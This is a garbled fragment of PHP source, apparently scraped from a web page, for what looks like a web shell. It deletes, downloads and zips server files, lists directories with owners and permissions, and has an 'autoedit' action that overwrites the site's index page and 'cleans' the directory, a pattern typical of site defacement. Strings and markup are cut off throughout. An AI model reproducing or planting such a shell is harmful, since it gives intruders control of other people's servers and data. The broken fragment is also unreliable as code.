File saved successfully!
"; } exit; } elseif ($action === 'delete' && $file && file_exists($file)) { if (is_dir($file)) { rmdir($file); } else { unlink($file); } echo "File deleted successfully!
"; } elseif ($action === 'download' && $file && file_exists($file) && !is_dir($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } elseif ($action === 'zip' && $file && file_exists($file)) { if (class_exists('ZipArchive')) { $zip = new ZipArchive(); $zipName = basename($file) . '.zip'; if ($zip->open($zipName, ZipArchive::CREATE) === TRUE) { if (is_dir($file)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file)); foreach ($files as $f) { if ($f->isDir()) continue; $zip->addFile($f->getRealPath(), str_replace($file . '/', '', $f->getRealPath())); } } else { $zip->addFile($file, basename($file)); } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipName)); readfile($zipName); unlink($zipName); // Hapus file zip setelah download exit; } else { throw new Exception("Failed to create ZIP archive."); } } else { throw new Exception("ZipArchive extension not available."); } } elseif ($action === 'autoedit') { $indexFile = file_exists($dir . '/index.php') ? $dir . '/index.php' : (file_exists($dir . '/index.html') ? $dir . '/index.html' : null); if (!$indexFile) { $indexFile = $dir . '/index.php'; file_put_contents($indexFile, "Index saved, permissions set, and directory cleaned!
"; } exit; } } if (!is_dir($dir) || !is_readable($dir)) { throw new Exception("Cannot read directory: " . htmlspecialchars($dir)); } $files = scandir($dir); if ($files === false) { throw new Exception("Failed to scan directory: " . htmlspecialchars($dir)); } ?>Name | Size | Modify | Owner/Group | Perms | Action | " . htmlspecialchars($file) . " | " . htmlspecialchars($size) . " | " . htmlspecialchars($modify) . " | /" . htmlspecialchars($owner) . " | " . htmlspecialchars($perms) . " | "; } ?> |
---|